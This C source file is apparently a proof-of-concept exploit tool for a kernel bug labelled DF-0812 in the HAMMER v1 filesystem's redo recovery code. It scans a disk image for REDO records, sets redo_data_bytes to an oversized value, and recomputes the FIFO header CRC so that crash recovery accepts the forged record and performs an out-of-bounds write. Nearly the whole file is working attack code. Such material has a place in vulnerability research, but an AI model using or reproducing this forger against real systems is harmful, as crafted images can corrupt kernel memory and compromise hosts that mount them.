/* * craft_img.c - HAMMER v1 image forger for DF-0812. * * DF-0812 root cause: hammer_recover_redo_exec() at * sys/vfs/hammer/hammer_recover.c:1296-1335 handles HAMMER_REDO_WRITE: * * vn_rdwr(UIO_WRITE, vp, (void*)(redo+1), * redo->redo_data_bytes, redo->redo_offset, ...); * * redo_data_bytes is int32 from disk (hammer_disk.h:662) and is NEVER * compared to the payload capacity (hdr_size - sizeof(*redo) - sizeof(tail)). * Contrast the UNDO path at recover.c:1053-1060 which DOES validate * undo_data_bytes. The FIFO head CRC (hammer_crc.h:195-200) only covers * hdr_size bytes, so an attacker recomputes the CRC for any redo_data_bytes. * * This forger scans the UNDO/REDO FIFO area of a HAMMER v1 image for * FIFO records of type HAMMER_HEAD_TYPE_REDO (0x0044), patches * redo->redo_data_bytes to a forged value, and recomputes the FIFO * head CRC so recovery accepts the record. * * Build: cc -O2 -o craft_img craft_img.c icrc32.c * Usage: ./craft_img [forged_bytes] (default 0x7FFFFFFF) */ #include #include #include #include #include #include #include /* userspace iscsi_crc32 from icrc32.c (verbatim copy of sys/libkern/icrc32.c) */ extern uint32_t iscsi_crc32(const void *buf, size_t size); /* ---- HAMMER on-disk constants (hammer_disk.h) ---- */ #define HAMMER_FSBUF_VOLUME 0xC8414D4DC5523031ULL #define HAMMER_BUFSIZE 16384 #define HAMMER_HEAD_SIGNATURE 0xC84EU #define HAMMER_TAIL_SIGNATURE 0xC74FU #define HAMMER_HEAD_TYPE_PAD (0x0040U | 0x8000U) #define HAMMER_HEAD_TYPE_REDO 0x0044U #define HAMMER_HEAD_ALIGN 8 #define HAMMER_HEAD_ALIGN_MASK (HAMMER_HEAD_ALIGN - 1) #define HAMMER_REDO_WRITE 0x00000001 /* volume_ondisk field offsets (struct hammer_volume_ondisk) */ #define VOFF_signature 0 #define VOFF_vol_mem_beg 16 /* int64_t vol_mem_beg -- UNDO/REDO FIFO start */ #define VOFF_vol_buf_beg 24 #define VOFF_vol_version 152 /* struct hammer_fifo_head (16 bytes) */ #define HEAD_SIZE 16 #define OFF_hdr_signature 0 #define OFF_hdr_type 2 #define OFF_hdr_size 4 #define OFF_hdr_seq 8 #define OFF_hdr_crc 12 #define HAMMER_FIFO_HEAD_CRCOFF 12 /* offsetof(hammer_fifo_head, hdr_crc) */ /* struct hammer_fifo_tail (8 bytes) */ #define TAIL_SIZE 8 #define OFF_tail_signature 0 #define OFF_tail_type 2 #define OFF_tail_size 4 /* struct hammer_fifo_redo layout after the 16-byte head: * i64 redo_objid @ 0 * u64 redo_offset @ 8 * i32 redo_data_bytes @ 16 * u32 redo_flags @ 20 * u32 redo_localization @ 24 * u32 redo_reserved01 @ 28 * u64 redo_reserved02 @ 32 * total payload-header = 40 bytes, so redo struct = 16+40 = 56 bytes */ #define REDO_DATA_BYTES_OFF (HEAD_SIZE + 16) /* redo_data_bytes within record */ #define REDO_FLAGS_OFF (HEAD_SIZE + 20) #define REDO_SIZEOF 56 /* little-endian helpers */ static uint16_t rd16(const uint8_t *p){ return (uint16_t)(p[0] | (p[1]<<8)); } static uint32_t rd32(const uint8_t *p){ return (uint32_t)(p[0] | (p[1]<<8) | (p[2]<<16) | ((uint32_t)p[3]<<24)); } static uint64_t rd64(const uint8_t *p){ return (uint64_t)p[0] | ((uint64_t)p[1]<<8) | ((uint64_t)p[2]<<16) | ((uint64_t)p[3]<<24) | ((uint64_t)p[4]<<32) | ((uint64_t)p[5]<<40) | ((uint64_t)p[6]<<48) | ((uint64_t)p[7]<<56); } static void wr16(uint8_t *p, uint16_t v){ p[0]=v; p[1]=v>>8; } static void wr32(uint8_t *p, uint32_t v){ p[0]=v; p[1]=v>>8; p[2]=v>>16; p[3]=v>>24; } /* * FIFO head CRC: XOR of iscsi_crc32(head[0:CRCOFF]) and * iscsi_crc32(head+1, hdr_size - sizeof(head)). * (hammer_crc.h:196-200, hammer_crc_get_fifo_head) */ static uint32_t fifo_head_crc(const uint8_t *rec, uint32_t hdr_size, uint32_t vol_version) { /* For version >= 7, use iscsi_crc32 (our icrc32.c). For version < 7, HAMMER uses the old crc32. We focus on version 7 (default for newfs_hammer on DEV) but handle both via a flag. */ if (vol_version >= 7) { uint32_t c1 = iscsi_crc32(rec, HAMMER_FIFO_HEAD_CRCOFF); uint32_t c2 = iscsi_crc32(rec + HEAD_SIZE, hdr_size - HEAD_SIZE); return c1 ^ c2; } /* version < 7 uses crc32 — not supported in this tool, warn at call site */ return 0xFFFFFFFF; } int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "scratch.img"; int32_t forged_bytes = (argc > 2) ? (int32_t)strtoll(argv[2], NULL, 0) : 0x7FFFFFFF; int fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return 1; } /* read volume header */ uint8_t vhdr[512]; if (pread(fd, vhdr, sizeof vhdr, 0) != (ssize_t)sizeof vhdr) { perror("pread vhdr"); close(fd); return 1; } uint64_t sig = rd64(vhdr + VOFF_signature); if (sig != HAMMER_FSBUF_VOLUME) { fprintf(stderr, "not a HAMMER volume (sig=%016" PRIx64 ")\n", sig); close(fd); return 1; } int64_t vol_mem_beg = (int64_t)rd64(vhdr + VOFF_vol_mem_beg); int64_t vol_buf_beg = (int64_t)rd64(vhdr + VOFF_vol_buf_beg); uint32_t vol_version = rd32(vhdr + VOFF_vol_version); printf("[*] image : %s\n", path); printf("[*] vol_mem_beg : 0x%llx (UNDO/REDO FIFO start)\n", (long long)vol_mem_beg); printf("[*] vol_buf_beg : 0x%llx (FIFO end / zone-2 start)\n", (long long)vol_buf_beg); printf("[*] vol_version : %u\n", vol_version); printf("[*] FIFO size : %lld bytes\n", (long long)(vol_buf_beg - vol_mem_beg)); printf("[*] forged bytes : %d (0x%08x)\n", forged_bytes, (unsigned)forged_bytes); if (vol_version < 7) { fprintf(stderr, "[!] vol_version < 7 uses crc32 (not iscsi_crc32). " "CRC recompute will be wrong. Aborting.\n"); close(fd); return 1; } off_t imgsz = lseek(fd, 0, SEEK_END); printf("[*] image size : %lld bytes\n\n", (long long)imgsz); /* Scan the ENTIRE image for REDO records. The UNDO/REDO FIFO data is stored in big-blocks mapped via vol0_undo_array[], so records may be at physical offsets well past vol_mem_beg. Scanning the whole image is the robust approach. */ int found = 0; int patched = 0; off_t off; for (off = 0; off + REDO_SIZEOF + TAIL_SIZE <= imgsz; off += HAMMER_HEAD_ALIGN) { uint8_t rec[HAMMER_BUFSIZE]; /* max record size */ if (pread(fd, rec, HEAD_SIZE, off) != HEAD_SIZE) break; uint16_t hsig = rd16(rec + OFF_hdr_signature); uint16_t htype = rd16(rec + OFF_hdr_type); uint32_t hsize = rd32(rec + OFF_hdr_size); if (hsig != HAMMER_HEAD_SIGNATURE) continue; if (hsize < HEAD_SIZE + TAIL_SIZE || hsize > HAMMER_BUFSIZE) continue; if ((hsize & HAMMER_HEAD_ALIGN_MASK) != 0) continue; /* Read the full record */ if (pread(fd, rec, hsize, off) != (ssize_t)hsize) continue; /* Verify tail */ uint8_t *tailp = rec + hsize - TAIL_SIZE; if (rd16(tailp + OFF_tail_signature) != HAMMER_TAIL_SIGNATURE) continue; if (rd16(tailp + OFF_tail_type) != htype) continue; if (rd32(tailp + OFF_tail_size) != hsize) continue; found++; printf("[*] FIFO record @ phys 0x%llx: type=0x%04x size=%u seq=%u\n", (long long)off, htype, hsize, rd32(rec + OFF_hdr_seq)); if (htype == HAMMER_HEAD_TYPE_REDO) { int32_t old_bytes = (int32_t)rd32(rec + REDO_DATA_BYTES_OFF); uint32_t flags = rd32(rec + REDO_FLAGS_OFF); int32_t capacity = (int32_t)hsize - REDO_SIZEOF - TAIL_SIZE; printf(" redo_data_bytes = %d (capacity %d, flags=0x%08x)\n", old_bytes, capacity, flags); if (flags != HAMMER_REDO_WRITE) { printf(" -> not HAMMER_REDO_WRITE, skipping\n"); } else { /* FORGE: patch redo_data_bytes */ wr32(rec + REDO_DATA_BYTES_OFF, (uint32_t)forged_bytes); /* Recompute FIFO head CRC over hsize bytes */ uint32_t old_crc = rd32(rec + OFF_hdr_crc); wr32(rec + OFF_hdr_crc, 0); /* CRC field must be 0 for... no, the CRC formula skips it */ /* Actually the CRC formula is: crc = iscsi_crc32(rec[0:12]) ^ iscsi_crc32(rec[16:hdr_size]) So the 4-byte hdr_crc field at [12:16] is SKIPPED. We can set it to anything before computing, then store the result. */ uint32_t new_crc = fifo_head_crc(rec, hsize, vol_version); wr32(rec + OFF_hdr_crc, new_crc); printf(" FORGED: redo_data_bytes %d -> %d\n", old_bytes, forged_bytes); printf(" CRC: old=%08x new=%08x\n", old_crc, new_crc); /* Write back the record */ if (pwrite(fd, rec, hsize, off) != (ssize_t)hsize) { perror(" pwrite"); } else { printf(" [+] patched at phys 0x%llx\n", (long long)off); patched++; } } } /* advance by hdr_size to find the next record */ off += hsize - HAMMER_HEAD_ALIGN; /* loop adds HAMMER_HEAD_ALIGN */ } printf("\n[*] Found %d FIFO record(s), patched %d REDO record(s).\n", found, patched); close(fd); return (patched > 0) ? 0 : 2; }